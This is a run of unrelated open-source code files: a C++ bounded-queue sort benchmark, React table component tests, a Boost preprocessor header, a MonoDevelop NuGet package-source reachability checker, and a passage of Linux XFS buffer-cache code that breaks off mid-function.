const int num_iterations= 10; class PerfTestSmall : public ::testing::Test { public: /* The extra overhead of malloc/free should be part of the measurement, so we do not define the key container as a member here. */ typedef Key_container<row_limit, int> Container; enum { limit= row_limit }; }; class PerfTestLarge : public ::testing::Test { public: /* The extra overhead of malloc/free should be part of the measurement, so we do not define the key container as a member here. */ typedef Key_container<num_rows, int> Container; enum { limit= num_rows }; }; template <int limit> void insert_and_sort() { typedef Key_container<limit, int> Container; for (int it= 0; it < num_iterations; ++it) { Container *keys= new Container; srand(0); Bounded_queue<int, int> queue; EXPECT_EQ(0, queue.init(limit, true, int_ptr_compare, sizeof(int), &int_keymaker, NULL, keys->key_ptrs)); for (int ix= 0; ix < num_rows; ++ix) { int data= rand(); queue.push(&data); } my_string_ptr_sort((uchar*) &keys->key_ptrs[0], queue.num_elements(), sizeof(int)); delete keys; } } /* Test with Bounded_queue size == <limit>. */ TEST_F(PerfTestSmall, InsertAndSort) { insert_and_sort<limit>(); } /* Test with Bounded_queue size == <number of rows> */ TEST_F(PerfTestLarge, InsertAndSort) { insert_and_sort<limit>(); } /* Test without bounded queue, i.e. insert keys into array, and sort it. */ TEST_F(PerfTestLarge, WithoutQueue) { for (int it= 0; it < num_iterations; ++it) { Container *keys= new Container; srand(0); for (int ix= 0; ix < limit; ++ix) { int data= rand(); keys->key_data[ix]= data; } my_string_ptr_sort((uchar*) &keys->key_ptrs[0], limit, sizeof(int)); delete keys; } } /* Computes the overhead of setting up sort arrays, and rand() calls. */ TEST_F(PerfTestLarge, NoSorting) { for (int it= 0; it < num_iterations; ++it) { Container *keys= new Container; srand(0); for (int ix= 0; ix < limit; ++ix) { int data= rand(); keys->key_data[ix]= data; } delete keys; } } } // namespace
{ "pile_set_name": "Github" }
import React from 'react'; import Table from '../index'; import TH from '../TH/index'; import THead from '../THead/index'; import TR from '../TR/index'; import { mount, shallow, render } from 'enzyme'; describe('components/Table', () => { it('should render as a table', () => { const component = shallow(<Table></Table>); expect(component.type()).toBe('table'); }); it('should render children', () => { const component = shallow(<Table><thead></thead></Table>); expect(component.containsMatchingElement(<thead></thead>)).toBe(true); }); describe('with `density` prop supplied', () => { it('should render with prop value as OUI table class modifier', () => { const component = shallow(<Table density="loose"></Table>); expect(component.hasClass('oui-table--loose')).toBe(true); }); }); describe('with no `density` prop supplied', () => { it('should render with default `density` prop value as OUI table class modifier', () => { const component = shallow(<Table></Table>); expect(component.hasClass('oui-table--loose')).toBe(false); }); }); describe('with `tableLayoutAlgorithm` prop supplied', () => { it('should render with provided `tableLayoutAlgorithm` prop value as inline style', () => { const component = render(<Table tableLayoutAlgorithm='auto'></Table>); expect(component.attr('style')).toContain('table-layout:auto'); }); }); describe('with no `tableLayoutAlgorithm` prop supplied', () => { it('should render with default `tableLayoutAlgorithm` prop value as inline style', () => { const component = render(<Table></Table>); expect(component.attr('style')).toContain('table-layout:fixed'); }); }); describe('with `style` prop supplied', () => { it('should render with prop value as OUI table class modifier', () => { const component = shallow(<Table style="rule"></Table>); expect(component.hasClass('oui-table--rule')).toBe(true); }); }); describe('with no `style` prop supplied', () => { it('should render without OUI table class modifiers', () => { const component = shallow(<Table></Table>); expect(component.hasClass('oui-table--wall')).toBe(false); expect(component.hasClass('oui-table--rule')).toBe(false); expect(component.hasClass('oui-table--rule-no-bottom-border')).toBe(false); }); }); describe('with a test section', () => { it('should render with a test section', () => { const component = shallow(<Table testSection="goose"></Table>); expect(component.is('[data-test-section="goose"]')).toBe(true); }); }); describe('with sorting enabled', () => { let component; const mockFunction = jest.fn(); beforeEach(() => { component = mount( <Table> <THead> <TR> <TH sorting={{ canSort: true, handleSort: mockFunction, order: 'asc'}}> Test Header </TH> </TR> </THead> </Table>); }); it('should render sorting icon when asked for', () => { expect( component .find('[data-test-section="table-header-sort-button"]') .find('[data-test-section="table-header-sort-indicator"]') .length).toBe(1); }); it('should trigger sorting function when header is pressed', () => { component .find('[data-test-section="table-header-sort-button"]') .simulate('click'); expect(mockFunction).toHaveBeenCalled(); }); }); });
{ "pile_set_name": "Github" }
// Copyright (c) 2012 Google Inc. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. int answer();
{ "pile_set_name": "Github" }
// // PackageSourceChecker.cs // // Author: // Matt Ward <[email protected]> // // Copyright (c) 2014 Xamarin Inc. (http://xamarin.com) // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in // all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN // THE SOFTWARE. using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Net; using System.Net.Http; using System.Threading; using System.Threading.Tasks; using MonoDevelop.Core; using NuGet.Common; using NuGet.Credentials; namespace MonoDevelop.PackageManagement { internal class PackageSourceViewModelChecker : IDisposable { CancellationTokenSource cancellationTokenSource = new CancellationTokenSource (); public event EventHandler<PackageSourceViewModelCheckedEventArgs> PackageSourceChecked; public void Dispose () { cancellationTokenSource.Cancel (); } public void Check(IEnumerable<PackageSourceViewModel> packageSources) { foreach (PackageSourceViewModel packageSource in packageSources) { Check (packageSource); } } public void Check(PackageSourceViewModel packageSource) { Task.Run (() => CheckPackageSourceUrl (packageSource), cancellationTokenSource.Token) .ContinueWith (OnPackageSourceChecked, TaskScheduler.FromCurrentSynchronizationContext ()); } Task<PackageSourceViewModelCheckedEventArgs> CheckPackageSourceUrl (PackageSourceViewModel packageSource) { if (IsHttpPackageSource (packageSource.Source)) { return CheckHttpPackageSource (packageSource); } return Task.FromResult (CheckFileSystemPackageSource (packageSource)); } async Task<PackageSourceViewModelCheckedEventArgs> CheckHttpPackageSource (PackageSourceViewModel packageSource) { try { using (HttpClient httpClient = CreateHttpClient (packageSource)) { var result = await httpClient.GetAsync (packageSource.Source); if (result.StatusCode == HttpStatusCode.OK) { return new PackageSourceViewModelCheckedEventArgs (packageSource); } else { return CreatePackageSourceViewModelCheckedEventArgs (packageSource, result.StatusCode); } } } catch (Exception ex) { return CreatePackageSourceViewModelCheckedEventArgs (packageSource, ex); } } PackageSourceViewModelCheckedEventArgs CreatePackageSourceViewModelCheckedEventArgs (PackageSourceViewModel packageSource, HttpStatusCode statusCode) { string errorMessage = GetErrorForStatusCode (statusCode); if (errorMessage == null) { LoggingService.LogInfo ("Status code {0} returned from package source url '{1}'", statusCode, packageSource.Source); errorMessage = GettextCatalog.GetString ("Unreachable"); } return new PackageSourceViewModelCheckedEventArgs (packageSource, errorMessage); } PackageSourceViewModelCheckedEventArgs CreatePackageSourceViewModelCheckedEventArgs (PackageSourceViewModel packageSource, Exception ex) { if (ex is AggregateException) { ex = ex.GetBaseException (); } var webException = ex.InnerException as WebException; if (webException != null) { return CreatePackageSourceViewModelCheckedEventArgs (packageSource, webException); } LogPackageSourceException (packageSource, ex); return new PackageSourceViewModelCheckedEventArgs (packageSource, ex.Message); } HttpClient CreateHttpClient(PackageSourceViewModel packageSource) { var lazyProvider = AsyncLazy.New (() => Enumerable.Empty<ICredentialProvider> ()); var credentialService = new CredentialService (lazyProvider, true, false); return HttpClientFactory.CreateHttpClient ( packageSource.GetPackageSource (), credentialService); } PackageSourceViewModelCheckedEventArgs CheckFileSystemPackageSource (PackageSourceViewModel packageSource) { var dir = packageSource.Source; if (dir.StartsWith ("file://", StringComparison.OrdinalIgnoreCase)) { dir = new Uri (dir).LocalPath; } if (Directory.Exists (dir)) { return new PackageSourceViewModelCheckedEventArgs (packageSource); } return new PackageSourceViewModelCheckedEventArgs (packageSource, GettextCatalog.GetString ("Directory not found")); } PackageSourceViewModelCheckedEventArgs CreatePackageSourceViewModelCheckedEventArgs (PackageSourceViewModel packageSource, WebException ex) { string errorMessage = ex.Message; var response = ex.Response as HttpWebResponse; if (response != null) { errorMessage = GetErrorForStatusCode (response.StatusCode, errorMessage); } LogPackageSourceException (packageSource, ex); switch (ex.Status) { case WebExceptionStatus.ConnectFailure: case WebExceptionStatus.ConnectionClosed: case WebExceptionStatus.NameResolutionFailure: case WebExceptionStatus.ProxyNameResolutionFailure: case WebExceptionStatus.Timeout: errorMessage = GettextCatalog.GetString ("Unreachable"); break; } return new PackageSourceViewModelCheckedEventArgs (packageSource, errorMessage); } static string GetErrorForStatusCode (HttpStatusCode statusCode, string defaultErrorMessage = null) { switch (statusCode) { case HttpStatusCode.Unauthorized: return GettextCatalog.GetString ("Invalid credentials"); case HttpStatusCode.NotFound: return GettextCatalog.GetString ("Not found"); case HttpStatusCode.GatewayTimeout: case HttpStatusCode.RequestTimeout: return GettextCatalog.GetString ("Unreachable"); case HttpStatusCode.ProxyAuthenticationRequired: return GettextCatalog.GetString ("Proxy authentication required"); case HttpStatusCode.BadRequest: return GettextCatalog.GetString ("Bad request"); } return defaultErrorMessage; } void LogPackageSourceException (PackageSourceViewModel packageSource, Exception ex) { LoggingService.LogInfo (String.Format ("Package source '{0}' returned exception.", packageSource.Source), ex); } void OnPackageSourceChecked (Task<PackageSourceViewModelCheckedEventArgs> task) { PackageSourceViewModelCheckedEventArgs eventArgs = CreateEventArgs (task); if (eventArgs != null && PackageSourceChecked != null) { PackageSourceChecked (this, task.Result); } } PackageSourceViewModelCheckedEventArgs CreateEventArgs (Task<PackageSourceViewModelCheckedEventArgs> task) { if (task.IsFaulted) { LoggingService.LogError ("Package source check failed.", task.Exception); return null; } else if (task.IsCanceled) { // Do nothing. return null; } return task.Result; } bool IsHttpPackageSource (string url) { if (string.IsNullOrEmpty (url)) return false; Uri uri = null; if (Uri.TryCreate (url, UriKind.Absolute, out uri)) { return IsHttp (uri); } return false; } bool IsHttp (Uri uri) { return (uri.Scheme == Uri.UriSchemeHttp) || (uri.Scheme == Uri.UriSchemeHttps); } } }
{ "pile_set_name": "Github" }
/*============================================================================= BOOST_PP_VARIADICS version of BOOST_PP_IS_SEQ inspired from boost/mpl/aux_/preprocessor/is_seq.hpp, original copyrights goes to : Copyright Paul Mensonides 2003 Copyright Aleksey Gurtovoy 2003-2004 Distributed under the Boost Software License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt) ==============================================================================*/ #ifndef BOOST_FUSION_ADAPTED_STRUCT_DETAIL_PREPROCESSOR_IS_SEQ_HPP #define BOOST_FUSION_ADAPTED_STRUCT_DETAIL_PREPROCESSOR_IS_SEQ_HPP #include <boost/preprocessor/punctuation/paren.hpp> #include <boost/preprocessor/cat.hpp> #include <boost/preprocessor/config/config.hpp> #if BOOST_PP_VARIADICS #define BOOST_FUSION_PP_IS_SEQ(seq) BOOST_PP_CAT(BOOST_FUSION_PP_IS_SEQ_, \ BOOST_FUSION_PP_IS_SEQ_0 seq BOOST_PP_RPAREN()) #define BOOST_FUSION_PP_IS_SEQ_0(...) \ BOOST_FUSION_PP_IS_SEQ_1(__VA_ARGS__ #define BOOST_FUSION_PP_IS_SEQ_ALWAYS_0(...) \ 0 #define BOOST_FUSION_PP_IS_SEQ_BOOST_FUSION_PP_IS_SEQ_0 \ BOOST_FUSION_PP_IS_SEQ_ALWAYS_0( #define BOOST_FUSION_PP_IS_SEQ_BOOST_FUSION_PP_IS_SEQ_1(...) \ 1 #endif // BOOST_PP_VARIADICS #endif
{ "pile_set_name": "Github" }
/* * Copyright (c) 2000-2006 Silicon Graphics, Inc. * All Rights Reserved. * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License as * published by the Free Software Foundation. * * This program is distributed in the hope that it would be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA */ #include "xfs.h" #include <linux/stddef.h> #include <linux/errno.h> #include <linux/gfp.h> #include <linux/pagemap.h> #include <linux/init.h> #include <linux/vmalloc.h> #include <linux/bio.h> #include <linux/sysctl.h> #include <linux/proc_fs.h> #include <linux/workqueue.h> #include <linux/percpu.h> #include <linux/blkdev.h> #include <linux/hash.h> #include <linux/kthread.h> #include <linux/migrate.h> #include <linux/backing-dev.h> #include <linux/freezer.h> #include "xfs_sb.h" #include "xfs_inum.h" #include "xfs_log.h" #include "xfs_ag.h" #include "xfs_mount.h" #include "xfs_trace.h" static kmem_zone_t *xfs_buf_zone; STATIC int xfsbufd(void *); static struct workqueue_struct *xfslogd_workqueue; #ifdef XFS_BUF_LOCK_TRACKING # define XB_SET_OWNER(bp) ((bp)->b_last_holder = current->pid) # define XB_CLEAR_OWNER(bp) ((bp)->b_last_holder = -1) # define XB_GET_OWNER(bp) ((bp)->b_last_holder) #else # define XB_SET_OWNER(bp) do { } while (0) # define XB_CLEAR_OWNER(bp) do { } while (0) # define XB_GET_OWNER(bp) do { } while (0) #endif #define xb_to_gfp(flags) \ ((((flags) & XBF_READ_AHEAD) ? __GFP_NORETRY : \ ((flags) & XBF_DONT_BLOCK) ? GFP_NOFS : GFP_KERNEL) | __GFP_NOWARN) #define xb_to_km(flags) \ (((flags) & XBF_DONT_BLOCK) ? KM_NOFS : KM_SLEEP) static inline int xfs_buf_is_vmapped( struct xfs_buf *bp) { /* * Return true if the buffer is vmapped. * * The XBF_MAPPED flag is set if the buffer should be mapped, but the * code is clever enough to know it doesn't have to map a single page, * so the check has to be both for XBF_MAPPED and bp->b_page_count > 1. */ return (bp->b_flags & XBF_MAPPED) && bp->b_page_count > 1; } static inline int xfs_buf_vmap_len( struct xfs_buf *bp) { return (bp->b_page_count * PAGE_SIZE) - bp->b_offset; } /* * xfs_buf_lru_add - add a buffer to the LRU. * * The LRU takes a new reference to the buffer so that it will only be freed * once the shrinker takes the buffer off the LRU. */ STATIC void xfs_buf_lru_add( struct xfs_buf *bp) { struct xfs_buftarg *btp = bp->b_target; spin_lock(&btp->bt_lru_lock); if (list_empty(&bp->b_lru)) { atomic_inc(&bp->b_hold); list_add_tail(&bp->b_lru, &btp->bt_lru); btp->bt_lru_nr++; } spin_unlock(&btp->bt_lru_lock); } /* * xfs_buf_lru_del - remove a buffer from the LRU * * The unlocked check is safe here because it only occurs when there are not * b_lru_ref counts left on the inode under the pag->pag_buf_lock. it is there * to optimise the shrinker removing the buffer from the LRU and calling * xfs_buf_free(). i.e. it removes an unnecessary round trip on the * bt_lru_lock. */ STATIC void xfs_buf_lru_del( struct xfs_buf *bp) { struct xfs_buftarg *btp = bp->b_target; if (list_empty(&bp->b_lru)) return; spin_lock(&btp->bt_lru_lock); if (!list_empty(&bp->b_lru)) { list_del_init(&bp->b_lru); btp->bt_lru_nr--; } spin_unlock(&btp->bt_lru_lock); } /* * When we mark a buffer stale, we remove the buffer from the LRU and clear the * b_lru_ref count so that the buffer is freed immediately when the buffer * reference count falls to zero. If the buffer is already on the LRU, we need * to remove the reference that LRU holds on the buffer. * * This prevents build-up of stale buffers on the LRU. */ void xfs_buf_stale( struct xfs_buf *bp) { bp->b_flags |= XBF_STALE; xfs_buf_delwri_dequeue(bp); atomic_set(&(bp)->b_lru_ref, 0); if (!list_empty(&bp->b_lru)) { struct xfs_buftarg *btp = bp->b_target; spin_lock(&btp->bt_lru_lock); if (!list_empty(&bp->b_lru)) { list_del_init(&bp->b_lru); btp->bt_lru_nr--; atomic_dec(&bp->b_hold); } spin_unlock(&btp->bt_lru_lock); } ASSERT(atomic_read(&bp->b_hold) >= 1); } struct xfs_buf * xfs_buf_alloc( struct xfs_buftarg *target, xfs_off_t range_base, size_t range_length, xfs_buf_flags_t flags) { struct xfs_buf *bp; bp = kmem_zone_alloc(xfs_buf_zone, xb_to_km(flags)); if (unlikely(!bp)) return NULL; /* * We don't want certain flags to appear in b_flags. */ flags &= ~(XBF_LOCK|XBF_MAPPED|XBF_DONT_BLOCK|XBF_READ_AHEAD); memset(bp, 0, sizeof(xfs_buf_t)); atomic_set(&bp->b_hold, 1); atomic_set(&bp->b_lru_ref, 1); init_completion(&bp->b_iowait); INIT_LIST_HEAD(&bp->b_lru); INIT_LIST_HEAD(&bp->b_list); RB_CLEAR_NODE(&bp->b_rbnode); sema_init(&bp->b_sema, 0); /* held, no waiters */ XB_SET_OWNER(bp); bp->b_target = target; bp->b_file_offset = range_base; /* * Set buffer_length and count_desired to the same value initially. * I/O routines should use count_desired, which will be the same in * most cases but may be reset (e.g. XFS recovery). */ bp->b_buffer_length = bp->b_count_desired = range_length; bp->b_flags = flags; bp->b_bn = XFS_BUF_DADDR_NULL; atomic_set(&bp->b_pin_count, 0); init_waitqueue_head(&bp->b_waiters); XFS_STATS_INC(xb_create); trace_xfs_buf_init(bp, _RET_IP_); return bp; } /* * Allocate a page array capable of holding a specified number * of pages, and point the page buf at it. */ STATIC int _xfs_buf_get_pages( xfs_buf_t *bp, int page_count, xfs_buf_flags_t flags) { /* Make sure that we have a page list */ if (bp->b_pages == NULL) { bp->b_offset = xfs_buf_poff(bp->b_file_offset); bp->b_page_count = page_count; if (page_count <= XB_PAGES) { bp->b_pages = bp->b_page_array; } else { bp->b_pages = kmem_alloc(sizeof(struct page *) * page_count, xb_to_km(flags)); if (bp->b_pages == NULL) return -ENOMEM; } memset(bp->b_pages, 0, sizeof(struct page *) * page_count); } return 0; } /* * Frees b_pages if it was allocated. */ STATIC void _xfs_buf_free_pages( xfs_buf_t *bp) { if (bp->b_pages != bp->b_page_array) { kmem_free(bp->b_pages); bp->b_pages = NULL; } } /* * Releases the specified buffer. * * The modification state of any associated pages is left unchanged. * The buffer most not be on any hash - use xfs_buf_rele instead for * hashed and refcounted buffers */ void xfs_buf_free( xfs_buf_t *bp) { trace_xfs_buf_free(bp, _RET_IP_); ASSERT(list_empty(&bp->b_lru)); if (bp->b_flags & _XBF_PAGES) { uint i; if (xfs_buf_is_vmapped(bp)) vm_unmap_ram(bp->b_addr - bp->b_offset, bp->b_page_count); for (i = 0; i < bp->b_page_count; i++) { struct page *page = bp->b_pages[i]; __free_page(page); } } else if (bp->b_flags & _XBF_KMEM) kmem_free(bp->b_addr); _xfs_buf_free_pages(bp); kmem_zone_free(xfs_buf_zone, bp); } /* * Allocates all the pages for buffer in question and builds it's page list. */ STATIC int xfs_buf_allocate_memory( xfs_buf_t *bp, uint flags) { size_t size = bp->b_count_desired; size_t nbytes, offset; gfp_t gfp_mask = xb_to_gfp(flags); unsigned short page_count, i; xfs_off_t end; int error; /* * for buffers that are contained within a single page, just allocate * the memory from the heap - there's no need for the complexity of * page arrays to keep allocation down to order 0. */ if (bp->b_buffer_length < PAGE_SIZE) { bp->b_addr = kmem_alloc(bp->b_buffer_length, xb_to_km(flags)); if (!bp->b_addr) { /* low memory - use alloc_page loop instead */ goto use_alloc_page; } if (((unsigned long)(bp->b_addr + bp->b_buffer_length - 1) & PAGE_MASK) != ((unsigned long)bp->b_addr & PAGE_MASK)) { /* b_addr spans two pages - use alloc_page instead */ kmem_free(bp->b_addr); bp->b_addr = NULL; goto use_alloc_page; } bp->b_offset = offset_in_page(bp->b_addr); bp->b_pages = bp->b_page_array; bp->b_pages[0] = virt_to_page(bp->b_addr); bp->b_page_count = 1; bp->b_flags |= XBF_MAPPED | _XBF_KMEM; return 0; } use_alloc_page: end = bp->b_file_offset + bp->b_buffer_length; page_count = xfs_buf_btoc(end) - xfs_buf_btoct(bp->b_file_offset); error = _xfs_buf_get_pages(bp, page_count, flags); if (unlikely(error)) return error; offset = bp->b_offset; bp->b_flags |= _XBF_PAGES; for (i = 0; i < bp->b_page_count; i++) { struct page *page; uint retries = 0; retry: page = alloc_page(gfp_mask); if (unlikely(page == NULL)) { if (flags & XBF_READ_AHEAD) { bp->b_page_count = i; error = ENOMEM; goto out_free_pages; } /* * This could deadlock. * * But until all the XFS lowlevel code is revamped to * handle buffer allocation failures we can't do much. */ if (!(++retries % 100)) xfs_err(NULL, "possible memory allocation deadlock in %s (mode:0x%x)", __func__, gfp_mask); XFS_STATS_INC(xb_page_retries); congestion_wait(BLK_RW_ASYNC, HZ/50); goto retry; } XFS_STATS_INC(xb_page_found); nbytes = min_t(size_t, size, PAGE_SIZE - offset); size -= nbytes; bp->b_pages[i] = page; offset = 0; } return 0; out_free_pages: for (i = 0; i < bp->b_page_count; i++) __free_page(bp->b_pages[i]); return error; } /* * Map buffer into kernel address-space if necessary. */ STATIC int _xfs_buf_map_pages( xfs_buf_t *bp, uint flags) { ASSERT(bp->b_flags & _XBF_PAGES); if (bp->b_page_count == 1) { /* A single page buffer is always mappable */ bp->b_addr = page_address(bp->b_pages[0]) + bp->b_offset; bp->b_flags |= XBF_MAPPED; } else if (flags & XBF_MAPPED) { int retried = 0; do { bp->b_addr = vm_map_ram(bp->b_pages, bp->b_page_count, -1, PAGE_KERNEL); if (bp->b_addr) break; vm_unmap_aliases(); } while (retried++ <= 1); if (!bp->b_addr) return -ENOMEM; bp->b_addr += bp->b_offset; bp->b_flags |= XBF_MAPPED; } return 0; } /* * Finding and Reading Buffers */ /* * Look up, and creates if absent, a lockable buffer for * a given range of an inode. The buffer is returned * locked. No I/O is implied by this call. */ xfs_buf_t * _xfs_buf_find( xfs_buftarg_t *btp, /* block device target */ xfs_off_t ioff, /* starting offset of range */ size_t isize, /* length of range */ xfs_buf_flags_t flags, xfs_buf_t *new_bp) { xfs_off_t range_base; size_t range_length; struct xfs_perag *pag; struct rb_node **rbp; struct rb_node *parent; xfs_buf_t *bp; range_base = (ioff << BBSHIFT); range_length = (isize << BBSHIFT); /* Check for IOs smaller than the sector size / not sector aligned */ ASSERT(!(range_length < (1 << btp->bt_sshift))); ASSERT(!(range_base & (xfs_off_t)btp->bt_smask)); /* get tree root */ pag = xfs_perag_get(btp->bt_mount, xfs_daddr_to_agno(btp->bt_mount, ioff)); /* walk tree */ spin_lock(&pag->pag_buf_lock); rbp = &pag->pag_buf_tree.rb_node; parent = NULL; bp = NULL; while (*rbp) { parent = *rbp; bp = rb_entry(parent, struct xfs_buf, b_rbnode); if (range_base < bp->b_file_offset) rbp = &(*rbp)->rb_left; else if (range_base > bp->b_file_offset) rbp = &(*rbp)->rb_right; else { /* * found a block offset match. If the range doesn't * match, the only way this is allowed is if the buffer * in the cache is stale and the transaction that made * it stale has not yet committed. i.e. we are * reallocating a busy extent. Skip this buffer and * continue searching to the right for an exact match. */ if (bp->b_buffer_length != range_length) { ASSERT(bp->b_flags & XBF_STALE); rbp = &(*rbp)->rb_right; continue; } atomic_inc(&bp->b_hold); goto found; } } /* No match found */ if (new_bp) { rb_link_node(&new_bp->b_rbnode, parent, rbp); rb_insert_color(&new_bp->b_rbnode, &pag->pag_buf_tree); /* the buffer keeps the perag reference until it is freed */ new_bp->b_pag = pag; spin_unlock(&pag->pag_buf_lock); } else { XFS_STATS_INC(xb_miss_locked); spin_unlock(&pag->pag_buf_lock); xfs_perag_put(pag); } return new_bp; found: spin_unlock(&pag->pag_buf_lock); xfs_perag_put(pag); if (!xfs_buf_trylock(bp)) { if (flags & XBF_TRYLOCK) { xfs_buf_rele(bp); XFS_STATS_INC(xb_busy_locked); return NULL; } xfs_buf_lock(bp); XFS_STATS_INC(xb_get_locked_waited); } /* * if the buffer is stale, clear all the external state associated with * it. We need to keep flags such as how we allocated the buffer memory * intact here. */ if (bp->b_flags & XBF_STALE) { ASSERT((bp->b_flags & _XBF_DELWRI_Q) == 0); bp->b_flags &= XBF_MAPPED | _XBF_KMEM | _XBF_PAGES; } trace_xfs_buf_find(bp, flags, _RET_IP_); XFS_STATS_INC(xb_get_locked); return bp; } /* * Assembles a buffer covering the specified range. The code is optimised for * cache hits, as metadata intensive workloads will see 3 orders of magnitude * more hits than misses. */ struct xfs_buf * xfs_buf_get( xfs_buftarg_t *target,/* target for buffer */ xfs_off_t ioff, /* starting offset of range */ size_t isize, /* length of range */ xfs_buf_flags_t flags) { struct xfs_buf *bp; struct xfs_buf *new_bp; int error = 0; bp = _xfs_buf_find(target, ioff, isize, flags, NULL); if (likely(bp)) goto found; new_bp = xfs_buf_alloc(target, ioff << BBSHIFT, isize << BBSHIFT, flags); if (unlikely(!new_bp)) return NULL; bp = _xfs_buf_find(target, ioff, isize, flags, new_bp); if (!bp) { kmem_zone_free(xfs_buf_zone, new_bp); return NULL; } if (bp == new_bp) { error = xfs_buf_allocate_memory(bp, flags); if (error) goto no_buffer; } else kmem_zone_free(xfs_buf_zone, new_bp); /* * Now we have a workable buffer, fill in the block number so * that we can do IO on it. */ bp->b_bn = ioff; bp->b_count_desired = bp->b_buffer_length; found: if (!(bp->b_flags & XBF_MAPPED)) { error = _xfs_buf_map_pages(bp, flags); if (unlikely(error)) { xfs_warn(target->bt_mount, "%s: failed to map pages\n", __func__); goto no_buffer; } } XFS_STATS_INC(xb_get); trace_xfs_buf_get(bp, flags, _RET_IP_); return bp; no_buffer: if (flags & (XBF_LOCK | XBF_TRYLOCK)) xfs_buf_unlock(bp); xfs_buf_rele(bp); return NULL; } STATIC int _xfs_buf_read( xfs_buf_t *bp, xfs_buf_flags_t flags) { int status; ASSERT(!(flags & (XBF_DELWRI|XBF_WRITE))); ASSERT(bp->b_bn != XFS_BUF_DADDR_NULL); bp->b_flags &= ~(XBF_WRITE | XBF_ASYNC | XBF_DELWRI | XBF_READ_AHEAD); bp->b_flags |= flags & (XBF_READ | XBF_ASYNC | XBF_READ_AHEAD); status = xfs_buf_iorequest(bp); if (status || bp->b_error || (flags & XBF_ASYNC)) return status; return xfs_buf_iowait(bp); } xfs_buf_t * xfs_buf_read( xfs_buftarg_t *target, xfs_off_t ioff, size_t isize, xfs_buf_flags_t flags) { xfs_buf_t *bp; flags |= XBF_READ; bp = xfs_buf_get(target, ioff, isize, flags); if (bp) { trace_xfs_buf_read(bp, flags, _RET_IP_); if (!XFS_BUF_ISDONE(bp)) { XFS_STATS_INC(xb_get_read); _xfs_buf_read(bp, flags); } else if (flags & XBF_ASYNC) { /* * Read ahead call which is already satisfied, * drop the buffer */ goto no_buffer; } else { /* We do not want read in the flags */ bp->b_flags &= ~XBF_READ; } } return bp; no_buffer: if (flags & (XBF_LOCK | XBF_TRYLOCK)) xfs_buf_unlock(bp); xfs_buf_rele(bp); return NULL; } /* * If we are not low on memory then do the readahead in a deadlock * safe manner. */ void xfs_buf_readahead( xfs_buftarg_t *target, xfs_off_t ioff, size_t isize) { if (bdi_read_congested(target->bt_bdi)) return; xfs_buf_read(target, ioff, isize, XBF_TRYLOCK|XBF_ASYNC|XBF_READ_AHEAD|XBF_DONT_BLOCK); } /* * Read an uncached buffer from disk. Allocates and returns a locked * buffer containing the disk contents or nothing. */ struct xfs_buf * xfs_buf_read_uncached( struct xfs_mount *mp, struct xfs_buftarg *target, xfs_daddr_t daddr, size_t length, int flags) { xfs_buf_t *bp; int error; bp = xfs_buf_get_uncached(target, length, flags); if (!bp) return NULL; /* set up the buffer for a read IO */ XFS_BUF_SET_ADDR(bp, daddr); XFS_BUF_READ(bp); xfsbdstrat(mp, bp); error = xfs_buf_iowait(bp); if (error || bp->b_error) { xfs_buf_relse(bp); return NULL; } return bp; } /* * Return a buffer allocated as an empty buffer and associated to external * memory via xfs_buf_associate_memory() back to it's empty state. */ void xfs_buf_set_empty( struct xfs_buf *bp, size_t len) { if (bp->b_pages) _xfs_buf_free_pages(bp); bp->b_pages = NULL; bp->b_page_count = 0; bp->b_addr = NULL; bp->b_file_offset = 0; bp->b_buffer_length = bp->b_count_desired = len; bp->b_bn = XFS_BUF_DADDR_NULL; bp->b_flags &= ~XBF_MAPPED; } static inline struct page * mem_to_page( void *addr) { if ((!is_vmalloc_addr(addr))) { return virt_to_page(addr); } else { return vmalloc_to_page(addr); } } int xfs_buf_associate_memory( xfs_buf_t *bp, void *mem, size_t len) { int rval; int i = 0; unsigned long pageaddr; unsigned long offset; size_t buflen; int page_count; pageaddr = (unsigned long)mem & PAGE_MASK; offset = (unsigned long)mem - pageaddr; buflen = PAGE_ALIGN(len + offset); page_count = buflen >> PAGE_SHIFT; /* Free any previous set of page pointers */ if (bp->b_pages) _xfs_buf_free_pages(bp); bp->b_pages = NULL; bp->b_addr = mem; rval = _xfs_buf_get_pages(bp, page_count, XBF_DONT_BLOCK); if (rval) return rval; bp->b_offset = offset; for (i = 0; i < bp->b_page_count; i++) { bp->b_pages[i] = mem_to_page((void *)pageaddr); pageaddr += PAGE_SIZE; } bp->b_count_desired = len; bp->b_buffer_length = buflen; bp->b_flags |= XBF_MAPPED; return 0; } xfs_buf_t * xfs_buf_get_uncached( struct xfs_buftarg *target, size_t len, int flags) { unsigned long page_count = PAGE_ALIGN(len) >> PAGE_SHIFT; int error, i; xfs_buf_t *bp; bp = xfs_buf_alloc(target, 0, len, 0); if (unlikely(bp == NULL)) goto fail; error = _xfs_buf_get_pages(bp, page_count, 0); if (error) goto fail_free_buf; for (i = 0; i < page_count; i++) { bp->b_pages[i] = alloc_page(xb_to_gfp(flags)); if (!bp->b_pages[i]) goto fail_free_mem; } bp->b_flags |= _XBF_PAGES; error = _xfs_buf_map_pages(bp, XBF_MAPPED); if (unlikely(error)) { 